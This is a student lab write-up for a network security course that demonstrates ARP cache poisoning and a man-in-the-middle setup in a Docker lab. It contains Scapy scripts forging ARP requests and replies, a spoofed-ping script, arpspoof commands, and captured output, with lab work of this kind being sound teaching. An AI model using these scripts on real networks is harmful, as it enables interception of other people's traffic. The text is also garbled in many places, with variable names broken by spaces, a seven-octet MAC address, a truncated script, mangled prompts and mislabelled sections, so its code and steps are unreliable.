



CSCE4930 - Network Security

Assignment 2

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1. ARP Cache Poisoning

Let the **user** be machine **B**

Let the victim be machine A

Let the **attacker** be machine **M**

```
root@ba8d381a71f3 /# ifconfig
br-da677a266c0a: flags=4163<UP, BROADCAST, RUNNING, MULTICAST> mtu 1500
    inet 10.9.0.1 netmask 255.255.255.0 broadcast 10.9.0.255
    inet6 fe80::42:6cff:fefd:889f prefixlen 64 scopeid 0x20<link>
    ether 02:42:6c:fd:88:9f txqueuelen 0 (Ethernet)
    RX packets 1 bytes 28 (28.0 B)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 7 bytes 746 (746.0 B)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

docker0: flags=409<UP, BROADCAST, MULTICAST> mtu 1500
    inet 172.17.0.1 netmask 255.255.0.0 broadcast 172.17.255.255
    ether 02:42:74:35:c9:9b txqueuelen 0 (Ethernet)
    RX packets 0 bytes 0 (0.0 B)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 0 bytes 0 (0.0 B)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

In this task, we will poison Machine A's ARP cache by tricking it into mapping Machine B's IP address to the attacker's (Machine M's) MAC address. We achieve this using a Python script with Scapy, which sends forged ARP REQUEST packets. These malicious packets falsely associate Machine B's IP with the attacker's MAC address, redirecting Machine A's traffic intended for Machine B to the attacker instead. By sending multiple broadcast packets, we increase the chances of successfully poisoning the ARP cache, enabling a man-in-the-middle (MITM) attack later. Now, let's dive into the practical steps to execute this attack:

A. Using ARP Request

1. First, we need to make a ping from user to victim

```
root@e1acaacf4e3f /# ping 10.9.0.5
PING 10.9.0.5 (10.9.0.5) 56(84) bytes of data.
64 bytes from 10.9.0.5: icmp_seq=1 ttl=64 time=0.450 ms
64 bytes from 10.9.0.5: icmp_seq=2 ttl=64 time=0.204 ms
64 bytes from 10.9.0.5: icmp_seq=3 ttl=64 time=0.129 ms
^C
--- 10.9.0.5 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2034ms
rtt min/avg/max/mdev = 0.129/0.261/0.450/0.137 ms
```

2. Now, we find the correct Ip and the Mac address in the cache of the victim

3. The code for the forged ARP request:

```
hwdst="ff:ff:ff:ff:ff:ff", # Broadcast
  pdst=target_ip # Target is A
)

# Send multiple packets (ARP cache may refresh)
sendp(arp_packet, count=5, inter=0.2)
print("Sent spoofed ARP Request to poison A's cache")
```

4. Now we execute the harmful code then ARP again we find the IP of the user is mapped to the MAC address of the attacker:

```
root@fceae3dd9599 /# arp -a /
User.net-10.9.0.0 (10.9.0.6) at 02:42:6c:fd:88:9f [ether] on eth0
```

B. Using ARP Request

Scenario 1: B's IP is already in A's cache

1. Emptying the ARP cache of the victim

```
root@fceae3dd9599 /# arp -a
root@fceae3dd9599 /#
```

2. After that we did the ping from the user machine to the victim:

3. After that we run the forged ARP reply:

```
# Configure correct interface
conf.iface = "br-da677a266c0a"

# Network information
target_ip = "10.9.0.5"  # Machine A (target)
victim_ip = "10.9.0.6"  # Machine B (victim)
attacker_mac = "02:42:6c:fd:88:9f"  # Your MAC

# CORRECTED: ARP REPLY packet (op=2 instead of op=1)
arp_packet = Ether(src=attacker_mac, dst="ff:ff:ff:ff:ff:ff") / ARP(
    op=2,  # ARP REPLY (changed from op=1)
    hwsrc=attacker_mac,  # Attacker's MAC
    psrc=victim_ip,  # Claiming to be B
    hwdst="ff:ff:ff:ff:ff:ff:ff", # Broadcast (could use A's MAC if
known)
    pdst=target_ip  # Target is A
)

# Send multiple packets (ARP cache may refresh)
sendp(arp_packet, count=5, inter=0.2)
print("Sent spoofed ARP Replies to poison A's cache")
```

4. The ARP cache of the victim after is:

```
root@fceae3dd9599 /# arp -a
User.net-10.9.0.0 (10.9.0.6) at 02:42:6c:fd:88:9f [ether] on eth0
```

Scenario 2: B's IP is not in A's cache

1. Emptying the ARP cache of the victim

```
root@113386a6dd5e / [255]# arp -a
```

2. The harmful code:

```
#!/usr/bin/python3
from scapy.all import *
import time
# Configuration
victim ip = "10.9.0.5"
spoofed ip = "10.9.0.6"
iface = "eth0"
attacker mac = get if hwaddr(iface)
victim_mac = getmacbyip(victim_ip)
if not victim mac:
  print("[-] Couldn't get victim's MAC. Try pinging them first.")
  exit()
print(f"[+] Attacker MAC: {attacker mac}")
print(f"[+] Victim MAC: {victim mac}")
# Step 1: Send spoofed ping from fake IP to victim to force ARP
resolution
print("[*] Sending spoofed ping from 10.9.0.6 to 10.9.0.5")
ping = IP(src=spoofed ip, dst=victim ip) / ICMP()
send(ping, verbose=0)
time.sleep(0.5)
```

3. The ARP table now shows two IPs (10.9.0.6 and 10.9.0.1) sharing the same MAC of the attacker as a result of the spoofing:

```
Unleash the hacker within you! 🔥
 Drag and drop files/scripts from your machine to upload them here. 📥
 Use Ctrl + Shift + S to switch between tabs. 🔄
 Labs have CPU/memory limits. Optimize resources and close programs after use. 💻
oot@113386a6dd5e /# arp -n
                        HWtype HWaddress
Address
                                                     Flags Mask
                                                                           Iface
10.9.0.6
                                02:42:6c:fd:88:9f
                                                                           eth0
                        ether
oot@113386a6dd5e /# arp -d 10.9.0.6
oot@113386a6dd5e /# arp -n
oot@113386a6dd5e /# arp -n
Address
                                HWaddress
                                                     Flags Mask
                                                                           Iface
                        HWtype
10.9.0.6
                                02:42:6c:fd:88:9f
                                                                           eth0
                        ether
                                                     С
10.9.0.1
                                02:42:6c:fd:88:9f
                                                     С
                                                                           eth0
                        ether
root@113386a6dd5e /# 🛮
```

4. And the user ARP cache is

2. MITM Attack on Telnet

Our mission here is to make the man in the middle attack to change the content of the packets that are sent between the user and the victim.

A. (Launch the ARP cache poisoning attack & Testing)

1. First, we need to make a ping from user to victim

```
root@ba8d381a71f3:/# sysctl net.ipv4.ip_forward=0
net.ipv4.ip_forward = 0
```

2. First step we need to make is to map the Ip of the user 10.9.0.5 to the Mac address of the attacker as in the photo

```
root@ba8d381a71f3 /# arpspoof -i br-da677a266c0a -t 10.9.0.6 10.9.0.5

2:42:6c:fd:88:9f 2:42:a:9:0:6 0806 42: arp reply 10.9.0.5 is-at 2:42:6c:fd:88:9f 2:42:6c:fd:88:9f 2:42:6c:fd:88:9f 2:42:a:9:0:6 0806 42: arp reply 10.9.0.5 is-at 2:42:6c:fd:88:9f 2:42:6c:fd:88:9f 2:42:6c:fd:88:9f 2:42:a:9:0:6 0806 42: arp reply 10.9.0.5 is-at 2:42:6c:fd:88:9f 2:42:6c:fd:88:9f 2:42:a:9:0:6 0806 42: arp reply 10.9.0.5 is-at 2:42:6c:fd:88:9f 2:42:6c:fd:88:9f 2:42:6c:fd:88:9f 2:42:6c:fd:88:9f 2:42:a:9:0:6 0806 42: arp reply 10.9.0.5 is-at 2:42:6c:fd:88:9f 2:42:6c:fd:88:9f 2:42:6c:fd:88:9f 2:42:a:9:0:6 0806 42: arp reply 10.9.0.5 is-at 2:42:6c:fd:88:9f 2:42:6c:fd:88:9f 2:42:6c:fd:88:9f 2:42:a:9:0:6 0806 42: arp reply 10.9.0.5 is-at 2:42:6c:fd:88:9f 2:42:6c:fd:88:9f 2:42:6c:fd:88:9f 2:42:a:9:0:6 0806 42: arp reply 10.9.0.5 is-at 2:42:6c:fd:88:9f ^*CCleaning up and re-arping targets... 2:42:6c:fd:88:9f 2:42:a:9:0:6 0806 42: arp reply 10.9.0.5 is-at 2:42:a:9:0:5 2:42:6c:fd:88:9f 2:42:a:9:0:6 0806 42: arp reply 10.9.0.5 is-at 2:42:a:9:0:5 2:42:6c:fd:88:9f 2:42:a:9:0:6 0806 42: arp reply 10.9.0.5 is-at 2:42:a:9:0:5 2:42:6c:fd:88:9f 2:42:a:9:0:5 2:42:6c:fd:88:9f 2:42:a:9:0:5 2:42:6c:fd:88:9f 2:42:a:9:0:6 0806 42: arp reply 10.9.0.5 is-at 2:42:a:9:0:5
```

3. To check that we succeed:

```
root@47a4ddf87cad /#`arp -a
Victim.net-10.9.0.0 (10.9.0.5) at 02:42:6c:fd:88:9f [ether] on eth0
root@47a4ddf87cad /#
```

4. Repeat the step for 10.9.0.6 : First step we need to make is to put the Ip of the user 10.9.0.6 to the Mac address of the attacker as in the photo

5. To prevent ARP cache updates, we persistently send spoofed replies—implemented here via multiple terminal instances.

```
oot@ba8d381a71f3:/# arpspoof -i br-da677a266c0a -t 10.9.0.6 root@ba8d381a71f3:/#
2:42:6c:fd:88:9f 2:42:a:9:0:6 0806 42: arp reply 10.9.0.5 is
at 2:42:6c:fd:88:9f
2:42:6c:fd:88:9f 2:42:a:9:0:6 0806 42: arp reply 10.9.0.5 is
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at 2:42:6c:fd:88:9f
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2:42:6c:fd:88:9f 2:42:a:9:0:5 0806 42: arp reply 10.9.0.6 is
2:42:6c:fd:88:9f 2:42:a:9:0:5 0806 42: arp reply 10.9.0.6 is
at 2:42:6c:fd:88:9f
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at 2:42:6c:fd:88:9f
2:42:6c:fd:88:9f 2:42:a:9:0:5 0806 42: arp reply 10.9.0.6 is
2:42:6c:fd:88:9f 2:42:a:9:0:5 0806 42: arp reply 10.9.0.6 is
-at 2:42:6c:fd:88:9f
                                                                                           "ba8d381a71f3" 21:02 17-Apr-2
```

6. To prevent ARP cache updates, we persistently send spoofed replies—implemented here via multiple terminal instances.

```
oot@ba8d381a71f3:/# arpspoof -i br-da677a266c0a -t 10.9.0.6|root@ba8d381a71f3:/#
2:42:6c:fd:88:9f 2:42:a:9:0:6 0806 42: arp reply 10.9.0.5 is
at 2:42:6c:fd:88:9f
2:42:6c:fd:88:9f 2:42:a:9:0:6 0806 42: arp reply 10.9.0.5 is
2:42:6c:fd:88:9f 2:42:a:9:0:6 0806 42: arp reply 10.9.0.5 is
-at 2:42:6c:fd:88:9f
at 2:42:6c:fd:88:9f
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2:42:6c:fd:88:9f 2:42:a:9:0:5 0806 42: arp reply 10.9.0.6 is
-at 2:42:6c:fd:88:9f
2:42:6c:fd:88:9f 2:42:a:9:0:5 0806 42: arp reply 10.9.0.6 is
-at 2:42:6c:fd:88:9f
2:42:6c:fd:88:9f 2:42:a:9:0:5 0806 42: arp reply 10.9.0.6 is
at 2:42:6c:fd:88:9f
2:42:6c:fd:88:9f 2:42:a:9:0:5 0806 42: arp reply 10.9.0.6 is
at 2:42:6c:fd:88:9f
[3] 0:arpspoof*
                                                                                              "ba8d381a71f3" 21:02 17-Apr-25
```

7. So now let's verify that the attack is constructed correctly: So to verify lets ping 10.9.0.6 from the machine 10.9.0.5 we can see that we didn't receive any responses as their is no forwarding done:

```
root@113386a6dd5e /# ping 10.9.0.6

PING 10.9.0.6 (10.9.0.6) 56(84) bytes of data.
^C
--- 10.9.0.6 ping statistics ---
7 packets transmitted, 0 received, 100% packet loss, time 6:
root@113386a6dd5e / [1]# ■
```

8. Observe the impact in our tcpdump output below:

```
root@ba8d381a71f3:/# tcpdump -i br-da677a266c0a icmp [11/11]
tcpdump: verbose output suppressed, use -v[v]... for full pro
tocol decode
listening on br-da677a266c0a, link-type EN10MB (Ethernet), sn
apshot length 262144 bytes
342, seq 1, length 64
342, seq 2, length 64
342, seq 3, length 64
342, seq 4, length 64
17:01:18.464301            IP 10.9.0.6 > 10.9.0.5:            ICMP echo request, id
342, seq 5, length 64
٧C
```

The tcpdump shows spoofed ICMP requests (10.9.0.6 \rightarrow 10.9.0.5) with identical IDs and increasing sequence numbers. No replies appear— due to disabled forwarding, confirming one-way traffic

9. So to verify lets ping 10.9.0.5 from the machine 10.9.0.6 we can see that we didn't receive any responses as their is no forwarding done:

```
root@21e17a2b0960 /# ping 10.9.0.5
PING 10.9.0.5 (10.9.0.5) 56(84) bytes of data.
^C
--- 10.9.0.5 ping statistics ---
6 packets transmitted, 0 received, 100% packet loss, time 5113ms
```

10. As we see no response here as we ar disabling the forwarding have a look also on our tcpdump:

```
root@ba8d381a71f3:/# tcpdump -i br-da677a266c0a icmp
tcpdump: verbose output suppressed, use -v[v]... for full pro
tocol decode
listening on br-da677a266c0a, link-type EN10MB (Ethernet), sn
apshot length 262144 bytes
17:01:14.362698 IP 10.9.0.6 > 10.9.0.5: ICMP echo request, id
342, seq 1, length 64
17:01:15.392314 IP 10.9.0.6 > 10.9.0.5: ICMP echo request, id
342, seq 2, length 64
17:01:16.416259 IP 10.9.0.6 > 10.9.0.5: ICMP echo request, id
342, seq 3, length 64
17:01:17.440260 IP 10.9.0.6 > 10.9.0.5: ICMP echo request, id
342, seq 4, length 64
17:01:18.464301 IP 10.9.0.6 > 10.9.0.5: ICMP echo request, id
342, seq 5, length 64
```

The tcpdump shows spoofed ICMP requests (10.9.0.5 \rightarrow 10.9.0.6) with identical IDs and increasing sequence numbers. No replies appear— due to disabled forwarding, confirming one-way traffic

B. (Turn on IP forwarding)

```
root@ba8d381a71f3:/# sysctl net.ipv4.ip_forward=1
net.ipv4.ip_forward = 1
l.root@ba8d381a71f3:/# ■
```

2. Ping from 10.9.0.6:

```
PING 10.9.0.5 (10.9.0.5) 56(84) bytes of data.

64 bytes from 10.9.0.5: icmp_seq=1 ttl=63 time=0.539 ms

From 10.9.0.1 icmp_seq=2 Redirect Host(New nexthop: 10.9.0.5)

64 bytes from 10.9.0.5: icmp_seq=2 ttl=63 time=0.165 ms

From 10.9.0.1 icmp_seq=3 Redirect Host(New nexthop: 10.9.0.5)

64 bytes from 10.9.0.5: icmp_seq=3 ttl=63 time=0.210 ms

AC

--- 10.9.0.5 ping statistics ---

8 packets transmitted, 3 received, +2 errors, 0% packet loss, time 2044ms

Act min/avg/max/mdev = 0.165/0.304/0.539/0.166 ms

FOOT@21e17a2b0960 /#
```

We see here a response and redirect from the attacker.

3. In TCPdump

```
6 to host 10.9.0.6, length 92
17:23:16.100658 IP 10.9.0.5 > 10.9.0.6: ICMP echo reply, id 3
52, seq 1, length 64
17:23:17.120262 IP 10.9.0.6 > 10.9.0.5: ICMP echo request, id
352, seq 2, length 64
5 to host 10.9.0.5, length 92
17:23:17.120341 IP 10.9.0.6 > 10.9.0.5: ICMP echo request, id
352, seq 2, length 64
17:23:17.120370 IP 10.9.0.5 > 10.9.0.6: ICMP echo reply, id 3
52, seq 2, length 64
6 to host 10.9.0.6, length 92
52, seq 2, length 64
352, seq 3, length 64
5 to host 10.9.0.5, length 92
352, seq 3, length 64
52, seq 3, length 64
17:23:18.144465 IP 10.9.0.1 > 10.9.0.5: ICMP redirect 10.9.0.
6 to host 10.9.0.6, length 92
52, seq 3, length 64
```

The tcpdump shows normal ICMP traffic (10.9.0.6 \leftrightarrow 10.9.0.5, ID 352), proving forwarding works—but also contains suspicious ICMP redirects from 10.9.0.1 (the attacker).

4. The results on the second machine: Ping from 10.9.0.6 where we see a response and redirect from the attacker

```
root@113386a6dd5e /# ping 10.9.0.6
PING 10.9.0.6 (10.9.0.6) 56(84) bytes of data.
64 bytes from 10.9.0.6: icmp_seq=1 ttl=63 time=1.03 ms
From 10.9.0.1 icmp_seq=2 Redirect Host(New nexthop: 10.9.0.6)
64 bytes from 10.9.0.6: icmp_seq=2 ttl=63 time=0.396 ms
^C
--- 10.9.0.6 ping statistics ---
2 packets transmitted, 2 received, +1 errors, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 0.396/0.711/1.026/0.315 ms
root@113386a6dd5e /# ■
```

5. Tcpdump output

```
root@ba8d381a71f3:/# tcpdump -i br-da677a266c0a icmp
tcpdump: verbose output suppressed, use -v[v]... for full pro
tocol decode
listening on br-da677a266c0a, link-type EN10MB (Ethernet), sr
apshot length 262144 bytes
17:29:07.210058 IP 10.9.0.5 > 10.9.0.6: ICMP echo request, ic
354, seq 1, length 64
17:29:07.210579 IP 10.9.0.5 > 10.9.0.6: ICMP echo request, ic
354, seq 1, length 64
54, seq 1, length 64
5 to host 10.9.0.5, length 92
54, seq 1, length 64
354, seq 2, length 64
6 to host 10.9.0.6, length 92
354, seq 2, length 64
54, seg 2, length 64
5 to host 10.9.0.5, length 92
17:29:08.211486 IP 10.9.0.6 > 10.9.0.5: ICMP echo reply, id 3
54, seq 2, length 64
[2] O:tcndumn*
```

The topdump shows normal ping traffic (10.9.0.5 \leftrightarrow 10.9.0.6, IDs 354/54) but reveals illogical ICMP redirects from 10.9.0.1. These create routing loops made by the attacker. While pings succeed, these redirects prove the attack.